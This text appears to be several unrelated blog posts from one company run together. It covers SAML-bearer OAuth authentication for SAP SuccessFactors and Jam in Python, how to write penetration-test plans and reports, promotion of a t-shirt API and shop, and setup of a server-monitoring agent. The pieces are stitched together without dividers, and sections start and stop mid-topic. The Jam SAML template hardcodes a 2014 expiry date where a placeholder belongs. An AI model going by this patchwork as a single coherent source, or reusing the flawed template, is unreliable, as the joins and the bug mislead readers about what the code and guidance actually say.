• Go to the SFSF AdminTools page and add a new OAuth client. Paste your X.509 certificate body in the textbox:

Note: OpenSSL-generated certificates contain -----BEGIN CERTIFICATE-----/-----END CERTIFICATE----- text guards in their first and last lines respectively. The SuccessFactors admin seems to choke on those, so you need to remove the first and last lines. Just select the certificate body between those lines and paste it in the textbox above.

Generating the SAML assertion

There are two ways you can generate a SuccessFactors SAML assertion:

• By using the SFSF assertion API.
• By generating it and signing it yourself.

I'd like to take the moment and give you a warning against using the assertion API in production. First, there is the performance side of the story -- there is an extra server roundtrip involved every time you authenticate against the server which can get slow.

Even more important here are the security implications. In order to generate and sign a SAML assertion, the server needs access to your private key. Read that again -- you will be giving out your private key to someone else. That doesn't sit too well with me. I'd recommend that you try the API a couple of times to get a hold on the generated assertion document and then start generating that yourself.

Using the SuccessFactors Assertion API

With the above warning in place, let's get started talking to the assertion API. We need to issue a HTTP POST request to the /oauth/idp resource and pass the OAuth client id, our authenticated user ID, the access token generation URL (used as the next authentication step), and our specially formatted private key.

def get_assertion_from_sf(self):
    """
    Send our private key to the SFSF IdP API and let it generate an assertion for us.
    Not ideal and incurs an additional API roundtrip. Use only for testing/debugging purposes.
    """
    user_id = self.sf_user_id
    with open(self.private_key) as key_file:
        # remove ---BEGIN/---END lines (first and last)
        # strip whitespace and squash everything on a single line
        flattened_key = ''.join([l.strip() for l in key_file.readlines()[1:-1]])

    assertion_request = dict(
        client_id=self.oauth_client_id,
        user_id=user_id,
        token_url=self.odata_url,
        private_key=flattened_key,
    )
    response = requests.post(self.idp_url, data=assertion_request)
    response.raise_for_status()
    return response.content

Note the key "flattening" logic above. We need to get rid of our first and last lines (containing the -----BEGIN RSA PRIVATE KEY-----/-----END RSA PRIVATE KEY----- markers), strip whitespace and squash everything in a single line.

The assertion we get back is a single-line base64-encoded XML document that we can just pass to the access code API (see below).

Generating an Assertion Ourselves

A quick base64-decode on the SAML document we get from the API above can show us how we can generate such a document ourselves. Here are the data items we need:

• The recipient URL -- set to the SFSF OData URL.
• The SAML audience string -- hardcoded to www.successfactors.com.
• The authenticated user ID.
• The OAuth application client ID.
• A session id that doesn't matter too much. We hardcode it to mocksession.
• Some timestamps: authentication instant and expiration times.

And now the XML template:

<saml2:Assertion
IssueInstant="{issue_instant}" Version="2.0"
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <saml2:Issuer>{client_id}</saml2:Issuer>
  <saml2:Subject>
    <saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">{user_id}</saml2:NameID>
    <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">

      <saml2:SubjectConfirmationData NotOnOrAfter="{not_valid_after}"
      Recipient="{sf_root_url}/odata/v2" />
    </saml2:SubjectConfirmation>
  </saml2:Subject>
  <saml2:Conditions NotBefore="{not_valid_before}"
  NotOnOrAfter="{not_valid_after}">
    <saml2:AudienceRestriction>
      <saml2:Audience>{audience}</saml2:Audience>
    </saml2:AudienceRestriction>
  </saml2:Conditions>
  <saml2:AuthnStatement AuthnInstant="{issue_instant}"
  SessionIndex="{session_id}">
    <saml2:AuthnContext>
      <saml2:AuthnContextClassRef>
      urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
    </saml2:AuthnContext>
  </saml2:AuthnStatement>
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
      <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
      <Reference URI="">
        <Transforms>
          <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
        </Transforms>
        <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
        <DigestValue></DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue/>
  </Signature>
</saml2:Assertion>

We can now use an approach similar to the one used when generating and signing Jam assertions:

def get_local_assertion(self):
    """
    Generate and sign the SAML assertion ourselves.
    """
    user_id = self.sf_user_id

    unsigned_assertion = sf_saml.generate_assertion(
        sf_root_url=self.server_url,
        user_id=user_id,
        client_id=self.oauth_client_id
    )
    signed = sf_saml.sign_assertion(unsigned_assertion, self.private_key)
    return signed.encode('base64').replace('\n', '')

The sf_saml module takes care of generating and signing assertions and is very similar to the code we used to handle Jam assertions.

Note that at the end of the function above we still need to base64-encode our signed XML and squash it into a single line.

Obtaining an Access Token

Armed with our assertion, we can now ask for an access token using a HTTP POST request against/oauth/token. The only thing worth mentioning here is that we need to pass a grant_typeparameter of urn:ietf:params:oauth:grant-type:saml2-bearer and include our OAuth client ID, our company ID and the assertion as well.

def get_access_token(self, assertion=None):
    if not assertion:
        assertion = self.get_local_assertion()

    token_request = dict(
        client_id=self.oauth_client_id,
        company_id=self.company_id,
        grant_type='urn:ietf:params:oauth:grant-type:saml2-bearer',
        assertion=assertion
    )
    response = requests.post(self.access_token_url, data=token_request)
    token_data = response.json()
    return (token_data['access_token'], token_data['expires_in'])

Token Authentication for OData Requests

Having gotten an access token, we can now issue OData requests. All we need is to pass the token via the Authorization HTTP header:

headers["authorization"] = 'Bearer {}'.format(self.access_token)

A minor detail above that needs mentioning: the token needs to be prefixed with the Bearer string to indicate its type.

We can now pack everything together in a single SFSession class that wraps the "requests"get/post API and calls our SFSF server. Here is an example that fetches our user details:

SF_URL = os.getenv('SF_URL')
SF_SAML_PRIVATE_KEY = 'sf-private.pem'
SF_USER = sys.argv[1]
SF_COMPANY_ID = os.getenv('SF_COMPANY_ID')
SF_OAUTH_CLIENT_ID = os.getenv('SF_OAUTH_CLIENT_ID')
SF_OAUTH_CLIENT_SECRET = os.getenv('SF_OAUTH_CLIENT_SECRET')

session = SFSession(server_url=SF_URL,
                    private_key=SF_SAML_PRIVATE_KEY,
                    company_id=SF_COMPANY_ID,
                    oauth_client_id=SF_OAUTH_CLIENT_ID,
                    sf_user_id=SF_USER)
response = session.get("/odata/v2/User?$filter=userId eq '{}'".format(SF_USER))

The OData query is so simple, we don't even need to take care of much URL escapes most of the time. I really like that protocol.

Running the code above we get a JSON document:

{u'd': {u'results': [{u'__metadata': {u'type': u'SFOData.User',
                      ...
                      u'addressLine1': u'1500 Fashion Island Blvd',
                      u'city': u'San Mateo',
                      u'country': u'United States',
                      u'custom10': u'admin',
                      u'dateOfCurrentPosition': u'/Date(983404800000)/',
                      u'dateOfPosition': u'/Date(1388534400000)/',
                      u'defaultLocale': u'en_US',
                      u'department': u'Industries (IND)',
                      u'division': u'Industries (IND)',
                      u'email': u'admin@ACEcompany.com',
                      u'firstName': u'Emily',
                      u'lastName': u'Clark',
                      ...
                      u'zipCode': u'94404'}]}}

Source Code

The full source code is available on GitHub.

New files of interest in the sample project dir:

• sf_saml.py generates and signs SAML assertions.
• sap_sf.py authenticates and makes requests to the Jam API.
• get_sf_user.py makes a sample API call that retrieves member details.

• Generating keys and registering them with SAP Jam.
• Generating SAML assertion documents.
• Signing the above as a SAML identity provider would.
• Submitting an assertion to the server and getting back an OAuth SAML bearer token.
• Authenticating API calls using the SAML bearer token.

Generating Keys

We are using 2048-bit RSA keys, generated with openssl:

# generate private key
openssl genrsa -out jam-private.pem 2048

# export public X509 certificate
openssl req -new -x509 -key jam-private.pem -out jam-public.cer -days 3650

Alternatively you can just run the generate_keys.sh script in my sample project (see below). The thing to note is that you generate keys once and keep the files. You will need them when registering your OAuth application and calling the API.

OAuth Access Configuration

We'll do this in the "Jam Admin" area. We need two pieces: an OAuth application and a trusted SAML identity provider.

OAuth Client Application

The OAuth Application is pretty straightforward. Register your domain and application URLs and do not set up an X509 certificate.

Then we register a SAML Identity Provider (IdP). Note the IDP ID, Allowed Assertion Scope and X509 certificate fields:

SAML assertions

According to Wikipedia, the Security Assertion Markup Language (SAML) is an XML-based standard that lets different services handle authentication and authorization together. It is typically used to implement single sign-on (SSO) scenarios.

To use SAML with SAP Jam, you need to generate an assertion XML document describing the user you want to impersonate, yourself as the issuer, and some extra pieces of data such as validity periods. Now the full list:

• Issuer. Typically a domain name such as example.com. You must use the one you provided when you registered the trusted IdP in the Jam admin area.
• Subject. This is your user. SAML defines many ways to specify users, some allowing apps to use temporary opaque user ID's. We'll use the urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress name ID format and just pass the user email address.
• Validity. We set up the proper SubjectConfirmationData, AuthStatement, and Conditions element with the correct authentication timestamp and and NotBefore and NotOnOrAfter points in time.
• OAuth client ID. We pass our OAuth application's client ID.
• Audience. Hardcoded to cubetree.com.

Here is how our full XML generation template looks like:

<Assertion xmlns="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:ns2="http://www.w3.org/2000/09/xmldsig#"
xmlns:ns3="http://www.w3.org/2001/04/xmlenc#" ID="bo.ilic.test.idp"
IssueInstant="{issue_instant}" Version="2.0">
  <Issuer>{issuer}</Issuer>
  <Subject>
    <NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">{user_id}</NameID>
    <SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">

      <SubjectConfirmationData NotOnOrAfter="{not_valid_after}"
        Recipient="{jam_root_url}/api/v1/auth/token" />
    </SubjectConfirmation>
  </Subject>
  <Conditions NotBefore="{not_valid_before}"
  NotOnOrAfter="2014-04-15T14:36:22.235Z">
    <AudienceRestriction>
      <Audience>{audience}</Audience>
    </AudienceRestriction>
  </Conditions>
  <AuthnStatement AuthnInstant="{auth_instant}"
  SessionIndex="mock_session_index">
    <AuthnContext>
      <AuthnContextClassRef>
      urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</AuthnContextClassRef>
    </AuthnContext>
  </AuthnStatement>
  <AttributeStatement>
    <Attribute Name="client_id">
      <AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:type="xs:string">{client_id}</AttributeValue>
    </Attribute>
  </AttributeStatement>
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
      <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
      <Reference URI="">
        <Transforms>
          <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
        </Transforms>
        <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
        <DigestValue></DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue/>
  </Signature>
</Assertion>

Signing Assertions

You might have already noticed the <Signature> element in the assertion document above, and most importantly its <SignatureValue> child node. This is, well, where our signature has to go.

Aside: Signing XML Documents

Signing plain text messages is easy - the message content has a single representation that can be used to compute the signature. Unfortunately, that is not the case with XML. For example, the two documents below look different, yet are completely equivalent:

<user name="John" email="john@example.com" />

and

<user
    email="john@example.com" 
    name="John"></user>

To solve the multiple valid representations problem we need a way to normalize or canonicalize XML documents that will guarantee that, when applied to the two documents above, will yield the same results for both of them. That will make it possible for us to sign XML documents and verify signatures. Of course, people have come up with such algorithms already. For details, check Wikipedia's article on Canonical XML.

Signing XML in Python: xmlsec to the Rescue.

Implementing XML canonicalization isn't a simple task, but, well, this is Python and most of the time people have already solved problems like that before. We will be getting the xmlsec package off PyPI and using it to sign our assertions. It turns out to be quite easy, so I'll just give you the code:

def sign_assertion(xml_string, private_key):
    root = etree.fromstring(xml_string)

    signature_node = xmlsec.tree.find_node(root, xmlsec.Node.SIGNATURE)
    key = xmlsec.Key.from_file(private_key, xmlsec.KeyFormat.PEM)

    sign_context = xmlsec.SignatureContext()
    sign_context.key = key
    sign_context.sign(signature_node)

    return etree.tostring(root)

Note that the code above assumes your XML string already contains a <Signature> node. Just like our XML template had above.

Obtaining SAML Bearer Tokens

Now that we have our assertion nicely signed, we need to pass it to the Jam server. We do that by base64-encoding the assertion document and getting rid of all whitespace, so that everything fits on a single line. We then issue a HTTP POST request to /api/v1/auth/token:

def request_token(self, assertion):
    encoded_assertion = re.sub(r'\s', '', assertion.encode('base64'))
    post_params = dict(
        client_id=self.client_id,
        client_secret=self.client_secret,
        grant_type="urn:ietf:params:oauth:grant-type:saml2-bearer",
        assertion=encoded_assertion,
    )

    token_url = self.url_for("/api/v1/auth/token")
    response = requests.post(token_url, data=post_params)
    response.raise_for_status()
    return response.json()['access_token']

Note the saml2-bearer grant type above and the client_id and client_secret values. Again, you'll get the last two from your registered OAuth application settings in the Jam admin. Just have in mind that Jam calls the client_id value just key:

Token Authentication

Once you've gotten hold of the token, you can issue API requests, by passing the token in an Authorization header. Here's how to do it:

headers["authorization"] = 'OAuth {}'.format(self.access_token)

Note the mandatory 'OAuth' prefix! And don't mind the lowercase "authorization" key -- HTTP headers are not case-sensitive.

Wrapping assertion generation, signing, and obtaining tokens in a simple JamSession class, we can now get our profile details, by issuing a HTTP GET request for /api/v1/members:

session = JamSession(server_url=JAM_URL,
                     issuer=JAM_IDP_DOMAIN,
                     private_key=JAM_SAML_PRIVATE_KEY,
                     client_id=JAM_OAUTH_CLIENT_ID,
                     client_secret=JAM_OAUTH_CLIENT_SECRET,
                     jam_access_email=JAM_EMAIL)
response = session.get('/api/v1/members')
pprint(response.json())

And here's the result we get back:

{u'assistant_ids': [],
 u'company-name': u'Ace',
 u'country_code': u'United States',
 u'created-at': 1378332130,
 u'current-status': {u'created-at': 1403259039,
                     u'id': 4452,
                     u'member-id': 98390,
                     u'source': u'Web',
                     u'status': u'<a href="dsasda">dsa</a>',
                     u'updated-at': 1403259039},
 u'direct_report_ids': [],
 u'email-addresses': [{u'address': u'admin@example.com',
                       u'location': u'Primary'}],
 u'first-name': u'Admin',
 u'handle': u'admin',
 u'id': 98390,
...
}

Full Source Code

I packaged the entire project and put it up on GitHub. Things of interest in there:

• requirements.txt to set up your virtualenv.
• generate_keys.sh to (duh!) generate RSA keys.
• jam_saml.py generates and signs SAML assertions.
• sap_jam.py authenticates and makes requests to the Jam API. You'll find the JamSession class you've seen above here.
• get_jam_member.py makes a sample API call that retrieves member details.

I mean, really! Are the security companies so ashamed of their reports that they would not show them to the public?

So, I’ve been meaning to write a post about this for a long time. Now, I have the time to really do it.

Before I start, I would like to underline that our company, too, does not have a report on our site. To be honest, instead of writing this post, I would just post a link to the report and be done with it. But I have to justify my time in front of the management, and this is a good way to do it :-). What is more, people would just use it as a template and will never learn how to write it themselves. The sample texts I will use below are from our sample report. So, let’s start.

The key to a good report is that you should have already started with it before you begin with the test. That is why, we will talk a lot about what you need to do before you even start the assessment.

When a client contacts you about a pentest, you do several things before the start of the test. Let’s call these

Pre-Engagement Activities

In this stage, you will ask questions about the system.

The most important question is why the client is doing the assessment. The answer to this will help you set the test goal and objectives. You will also need to know if you will test just the application or the server will also be included, will you test all parts of the application or just the front-end or the administration back-end, what tests you will make and how intrusive they will be, what time of the day you will do the testing. You will also ask for a single point of contact you can reach in case of emergencies, and so on.

Based on this information, you will have to create a

Penetration Testing Plan

The PTP has to have several sections. If you want to make it good looking, include your company

Cover Page

Usually, we put a short paragraph at the end of the cover page to tag it as confidential. The following is a pretty standard text:

This document is intended only for the use of the individual or entity to which it is addressed and may contain information that is privileged, confidential and exempt from disclosure under applicable law. If the reader of this disclaimer is not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this document is strictly prohibited. If you received this document in error, please notify us immediately by telephone and return the original document to us at the address below. If you have received an electronic copy of the document, please remove it immediately after reading this disclaimer.

Then, of course, you include a Table of Contents. It is a known fact that C-level executives and decision makers don’t do well with plain text. You need to start with the table of contents, so that they know exactly where to skip to.

Not that it is not obvious from the title of the document, but to be thorough, you would also want to include a

Purpose of This Document

section. It should clearly state what this document is about. For example, something like this:

The purpose of this document is to describe the details of the penetration test that will be conducted by MTR Design against the <Name of application> application for <Client>.

It defines the goal of the test and lists its objectives; it also summarizes the scope of the test, and outlines the scenarios and the tests that will be performed by the testing team.

The next section you need to include would be the

Distribution List

This is simply a table with the people that can read this document. The table can have three columns: Name, Role, and Contact Details. Anyone that should have access to the document should be listed here.

You will also have to include a

Revision History

This is another section that details the changes made on the document by the people that have contributed to it. The columns here are Version, Date, Author, and Comments/Notes.

Then, you have to have a

Project Definition

section. This is another short paragraph, for example:

The MTR Design team was engaged to test <Name of application> for security issues. The purpose of the test is to determine the level of security of the web application interface.

Now has come the time to secure yourself. Every pentester knows how quickly things change in the security industry, so it is a good idea to include a section about the

Test Limitations

Something like the following should do:

The penetration test provides a snapshot of the current security problems of the system, and it is limited in terms of time and personnel. Therefore, they cannot provide a 100% guarantee that every attack vector has been included, and that the system will stay secure over time.

After you add this ‘limited liability’ section, it is time to list the

Test Goal and Objectives

In this section, you should define the goal of the test (remember those talks you had with the client?) and ‘bullet’ the test objectives. Here is a sample:

The goal of the test is to find possible vulnerabilities, related to the Web application and verify if they are exploitable, provided that a permission to exploit the vulnerability is granted by the client.

To complete this goal, the following objectives are defined:

• MTR Design will create a threat model for the application. The model will include the assets and the threat agents.
• MTR Design will inspect the application and map its functionality.
• Based on the application map, MTR design will create a detailed test plan with scenarios and test cases, which will be executed against the target application (this document).
• MTR will submit the test plan to <Client> by the <DATE>.
• The security team will test the Web application defined in the test scope for the OWASP top 10 vulnerabilities as described in this test plan.
• The security team will report the progress of the testing to the <Client> SPoC periodically.
• If vulnerability is found, the security team will verify it after they receive approval from the client SPoC.
• The security team will produce a conclusion report, which will contain assessment of the security of the Web application, description of the vulnerabilities and recommendations on how to remediate the issues that may be detected during the test. The Conclusion Report will be submitted by <DATE>.
• The security team will present the conclusion report on <DATE>.

All information obtained during the test will be processed, analyzed and stored in accordance with the MTR Design security practices and data handling policy.

Good, we finally get to the real stuff. Next you have to define the

Test Scope

It should include several things. First, you have to describe the

Target System

Here, you can use a table with two columns. In the first column, you should have (at least) the following:

• Target System Name
• Target System URL(s)
• Test Type
• Production Environment
• Intrusive Tests
• Client Awareness
• Technology
• Development Framework
• Functionalities
• Login Credentials

The second column should contain the details.

Then, you list the

Tests

You can use bullets to list the test you will perform against the application. The OWASP Top 10 are a good start. Of course, here you will need to have in mind the specifics of the assessment you are doing.

After that, you describe the

Tools

you will use to perform the tests. Don’t forget to add ‘custom scripts’ to the list, in case you need to code some script for the task.

The final section of the ‘administrative’ part of the PTP is a list of the

IP Addresses

Yet another table with two or three columns: Tester, IP Address, Zone (External/Internet, Internal/VPN).

Now, we are getting to the ‘technical’ part of the testing plan. I would start it with an

Application Map

section. Remember how the CEOs cannot read plain text? Include a picture of the application, describing the process flow and the functions of the application. You may also include a list of the dynamic and static URLs.

To create the application map, you can use Burp Pro, or manually browse through the application and take notes. It is important to include everything that you plan to attack during the test.

When you have a good understanding of the application and the client, you can document the

Threat Models

In this section, you need to describe the reasons an attacker would have to attack the application. You will be putting their shoes on after all. So you will have to have a good understanding of both the client and the application. Of course, you will include hactivism, and skids, but you also need to have specifics – for example, is the application storing sensitive data that could be the target of a hacker, and so on.

The next section that should be included is about the

Scenarios

you will replay. Each scenario should have a short description and a list of the actions a possible attacker would make to take over the application: passively gather information, browse through the application, search for attack vectors, attack as unauthenticated user, brute-force login forms, try as authenticated user, etc.

Then, you have to describe the specific

Tasks

you will have to complete during the test. Each task should have a

• Title: this  is the specific test you will do.
• Task Description: a short description of the test.
• Sub-tasks: the specific actions you will take.
• Task Goal: what you are trying to achieve.
• Task Tools: what you will use.Task Risks: how the task can affect the application.

Here is a short example:

Data Validation Testing

Task Description

Test the application for data validation flaws such as XSS, SQL Injection, overflows, format string issues, and HTTP Splitting.

Task Goal

Identify any potential entry point and test user input for injections.

Subtasks

• Manipulate HTTP requests and observe HTTP responses.
• Tamper with user input.
• Test for SQL injections.
• Test for XSS.
• Test for code injections.
• Test for command injections.

Task Tools

• Browser and browser extensions
• Local proxies
• SQL Injection tools (sqlmap)
• w3af

Task Risks

• Application crash.
• Server overload.

And this is the end of the Penetration Testing Plan. As promised, we talked alot about it, but this plan will be the basis of your

Final Report

Actually, most of the PTP goes into the conclusion report. Again, you have the Purpose of This Document, Revision History, Project Definition, Test Goals and Objectives, and Test Scope sections. You can also include a Terminology section, because while the PTP may have been approved by a more technical person, the people that will get the final report may not be that technical.

Then you will have to place a

Summary of Findings

section. Decision makers do not have the time to go through the entire report, so it is important that this one comes first. Here, you will summarize all your findings in a language that a non-technical person can understand. It is always a good idea to include a colored table with the vulnerabilities and the risks they are posing to the application and the company. If you are good at charts, don’t hesitate and include one. A friend of mine, who is a really good manager says that “if it doesn’t have a pie chart, I would not bother looking at it.” As sad as this is, this is the truth. When you are managing a big company, everything becomes a table or a chart to you, so don’t spare them to the readers of your reports.

If you include a table with the vulnerabilities and the risks, take your time and describe them in short paragraphs one by one. You can include a couple of screenshots here to make your point.

When you are done with this, it is time for the

Recommendations

section. After this section, most decision makers would stop reading, so do your best. Take each individual issue and  make a recommendation on how to fix it. Be concise and to the point. This section should be pretty straightforward.

Now, you can start writing for the technical staff. The next section is the

Details on the Findings and the Recommendations

Here, you should include all technical details on how to recreate each issue and how to fix it. Go through the entire process of the test, starting from the information gathering. Go through your actions, describe the findings and issue technical recommendations.

For each test, described in the PTP, provide the details of the tasks and the results of the tests. You can include other documents with the results from the automated tools to keep the report short.

After that, you need to include a

Conclusion

section. It can be one to three paragraphs, summarizing the results of the entire assessment. Basically, in this section, you need to answer to the question that was set as a test goal previously.

If there is data that is short and important enough to go in the report, you can include an

Appendices

section.

And that is it!

Finally

I have to say that I wrote this post in a heart-beat, in a very nice tavern, and my phone is screaming for low battery, so my Internet time for the night is coming to an end. I am not really tracking my time (all the time).  I hack things, and I am good at it.

The report I was writing about is not a vulnerability report from an automated tool. What we do is  not what some companies sell as penetration testing. We do most of the things manually. When we use automated tools (mostly fuzzers), we verify every finding by hand. I have yet to meet the hacker that would use IBM AppScan to hack a site…

And we would give a sample testing plan and a sample report to anyone who asks for it. I am proud of the work we do, and I firmly believe that information has to be shared. I would also welcome suggestions on how to improve it, so don’t be shy and share your thoughts!

Thanks to the organizers, we were able to do an online presentation of the Dizzyjam website, and more specifically, of a new feature we've recently added - the Dizzyjam API. As you might expect, it s a web-based, RESTful API that enables you to access all Dizzyjam functions programmatically. It boasts a web console built into the docs, a WordPress plugin, bindings for Python and PHP, as well as a piece of unique functionality - creating new Dizzyjam users through your API account (see the manage/create_user method). The API got utilized by a very interesting project during the hackathlon - Merchr. It's the why-did-not-I-think-of-it-first kind of project - simple idea that could be a game changer one day. I sincerely hope that the guys behind this project will keep on hacking and bringing good stuff out!

The new site follows the overall idea of www.dizzyjam.com – in only three simple steps anyone can start making money - upload your designs, create your products and start selling. You don’t have to buy 100 blank t-shirts, to organize printing or pile up all the stuff you can’t sell. It won’t cost you a penny. But it will cost you creativity and popularity in order to make anyone besides your granny buy your stuff. Cotton Cart is here to solve the popularity issue.

Who can use this website?

Everyone. This may be a graffitist who wants to get famous, the grocery shop around the corner, where the best veggies are sold or a charity organisation that raises money for its cause. In fact such fundraising activities were the first to open their virtual stalls in Cotton Cart. Another clever idea is to use the platform for producing t-shirts or other merch for corporate events – team buildings, annual meetings and seminars. The website can be used for promoting sports events – just upload your local rugby team’s design, print your merch and sell them to your fans in the neighbourhood. Surely you will have an audience to remember the next time your team meets the rivals.

The possibilities are countless – your imagination is the limit. So far we have charity and fundraising groups, festivals, sports events and we can’t wait to see what else you can think of while using Cotton Cart.

The S2 system relies on an agent installed on the server side to send information to the central brain over an encrypted SSL connection. The agent we are using is, of course, open-source script (written in Bash), so anyone can look inside it, and see what it is doing exactly. Don't know about you but I would feel very uneasy if I had to install some "proprietary" monitoring binary on my machines - it could be a remotely controlled trojan horse for all I know. So, keeping the agent open is key to us.

The open-source agent confirms another key point - it only *sends* information out to the central S2Mon servers, it does not *receive* any commands/configurations back. The communication here is one way - from the agent to the S2Mon center. The S2Mon center cannot modify the agent behavior in any way whatsoever.

2. Requirements

Since the agent is mainly written in Bash, it, obviously, requires Bash to be available on the monitored system. Fortunately, Bash is available on any Linux system released during the last 15 years or so. The other requirements are:

• Perl
• curl
• bzip
• netstat
• Linux OS

The required tools are all present in most of the contemporary Linux distributions, but in case you have any doubts, you can check out the prerequisites page for distro-specific tips.

The Linux OS requirement is the major one here - S2Mon currently runs on Linux only. We have plans to make it available to Mac OS, *BSD and Windows users in the future, but for the time being, these platforms are not supported.

3. Registering an account

You will obviously need an S2Mon account, so, in case you do not have one, head to https://www.s2mon.com/registration/. Once you submit your desired account name and your email address, you will be taken straight to your Dashboard, and your password will be sent over email to you (so make sure you get that email field right).

The Dashboard is very restricted at this point - you need to verify your email address to unlock the full functionality of the system. To complete the verification, simply click on the activation link you got in your mailbox. That's it, your S2Mon account is now fully functional!

4. Adding a server entry to the S2Mon site

OK, this is where the fun starts. Before the S2Mon system starts accepting any data from your server, you need to create a server record in the S2Mon system. Go to https://www.s2mon.com/host/add/ (or Servers -> Add host , if you would prefer) and fill in the following form:

Hostname should be a unique identifier of your server - it does not need to be a Fully Qualified Domain Name (FQDN) - though it is a good idea to use that. For an Address, you should enter the external IP address of the host. This is the IP address is where Ping probes will be sent to, should you choose to enable them from the drop-down menu. It is a good idea to enable these probes if the server is ping-able; in this way you will get an alert if the ping dies - this is considered an indication that something is wrong. The Label field is optional free-text that you may use to describe your server. If you fill it in, it will be the server identifier used throughout the S2 site; otherwise the Hostname would be used.

After you submit the form, you will be presented with the basic steps that you will need to follow to get the probe running. Since you are reading this blog post, you can just copy the Pushdata Agent URL and ignore everything else :). The Pushdata Agent URL is the address where the agent would send all of the monitoring information, so it is the most important piece of data on that page. In case you forgot it, accidentally closed the page,or the dog ate your computer, don't worry, you can always get back to this page via Servers -> Edit button -> Probe setup tab.

5. Activating the services you want to monitor

Now go to https://www.s2mon.com/servers/. You will see the list of your servers there, but there is also a convenient panel where you can enable or disable certain services. Go on and activate the ones you are interested in (or, if you are like me - all of them):

6. Running the probe on the server

This is the trickiest part of it all, as there is a lot of different ways to do it, depending on the server controls you have at hand. I'll assume that you have SSH access to the server, so you can run commands directly. If you do not have this kind of access though, you may still be able to run the S2 probe if you can:

• Download the probe archive, extract it, and put the extracted files onto your server;
• Run a periodical task (cron job) every minute, which would fire the executable agent script at the specified URL.

The S2Mon agent does NOT require a root account - you can run it from an unprivileged account. Even though I trust the agent completely, I run it from an unprivileged account on all my servers - it's a good approach security-wise, and it is more tidy. In some cases, however, unprivileged accounts may not have access to all built-in metrics, so you might want to run the cron job with root privileges - it's up to you and your specific setup

So, regardless of which account you decide to run the agent under, you can log in with that account and do the following:

s2mon ~$ wget https://dc1.s2-monitoring.com/active-node/a/s2-pushdata.tar.gz # download
s2mon ~$ tar xzf s2-pushdata.tar.gz # extract
s2mon ~$ ls -la s2-pushdata/post.sh # verify that the post.sh script has executable permissions
s2mon ~$ cd s2-pushdata/
s2mon ~/s2-pushdata$ DEBUG_ENABLED=1 ./post.sh "https://dc1.s2-monitoring.com/rblmon/collector-vahzeegh/index.php/my-hostname.com" # Use your specific Pushdata Agent URL here, enclosed in single or double quotes!

You will get some debug output out of the last command; it will abort if there is anything missing (for example, if curl is not installed on the system). If everything is OK, the last line would indicate successful data submission, e.g.:

DEBUG: POST(https://dc1.s2-monitoring.com/rblmon/collector-vahzeegh/index.php/my-hostname.com): 21 keys (8879 -> 2539 bytes).

The only thing that's left to do is to set the agent to be executed every minute. Again, there are a few different ways to do this, but the most common one is to run 'crontab -e', which will open up your user's crontab for editing. Then you only need to append the line:

* * * * * cd /path/to/s2-pushdata/ && ./post.sh "https://dc1.s2-monitoring.com/rblmon/collector-vahzeegh/index.php/my-hostname.com" &>/dev/null

Please make sure that you substitute /path/to/s2-pushdata/ with the actual path to the s2-pushdata directory on your system, and to change the URL to the value that you got after adding your host record in the S2Mon website (note: changing just the hostname part at the end will NOT work).

7. Profit!

OK, if you were able to complete steps 5,6 and 7, then you should see the nifty monitoring widget on your S2Mon Dashboard turn all green. Congrats, your server is now monitored and you are recording the history of its most intimate parameters!

8. (Optional) MySQL monitoring configuration

The MySQL service requires some extra configuration for the S2Mon agent to be able to look inside it, so you will need to take some extra steps if you want to monitor any of the MySQL services. The easiest way to do this is to:

• Create a MySQL user for S2Mon to use, by using the following query (ran as MySQL root or equivalent)

GRANT USAGE ON *.* TO 's2-monitor'@'localhost' IDENTIFIED BY '*******';

Make sure to replace '*******' with a completely random password. Don't worry, you will not need to remember it for long!

• Create the files /etc/s2-pushdata/mysql-username and /etc/s2-pushdata/mysql-password on your system, and put the username (s2-monitor in this case) and password in the respective file (on a single line).
• Change the ownership of those so that only the user that you are running S2Mon under can read them (for example set them to 0400).

After this is all done, you will see the MySQL data charts slowly starting to fill in with data in the next few minutes.

9. Post-setup

Now that you have a host successfully added to the interface, the next logical step would be to setup some kind of notification that would poke you when the some parameter goes too high or too low. Additionally, you might want to enable other people to view or modify the server data in your account. Both tasks are easy with S2Mon and I will show you how to do it in the next part.

The more you free your people to think for themselves, the more they can help you. You don't have to do this all on your own.
— Richard Branson

Eventually some of those subsystems will break down for one reason or another. When one of them fails, it usually brings down others, creating a digital mayhem that can be quite hard to untangle. Businesses relying on the servers being up and running tend not to look too favorably on the inevitability of the situation. Instead of accepting the incident philosophically and being grateful for the great uptime so far, business owners instead go for questions like "What happened?!?!!", "What's causing this???" and "WHEN WILL IT BE BACK UP????!!!". Sad, I know. 

Smart people, who would rather avoid coming unprepared for those questions, have come up with the idea of monitoring, so that:

• problems are caught up in their infant stages, before they cause real damage (e.g. slowly increasing disk space usage);
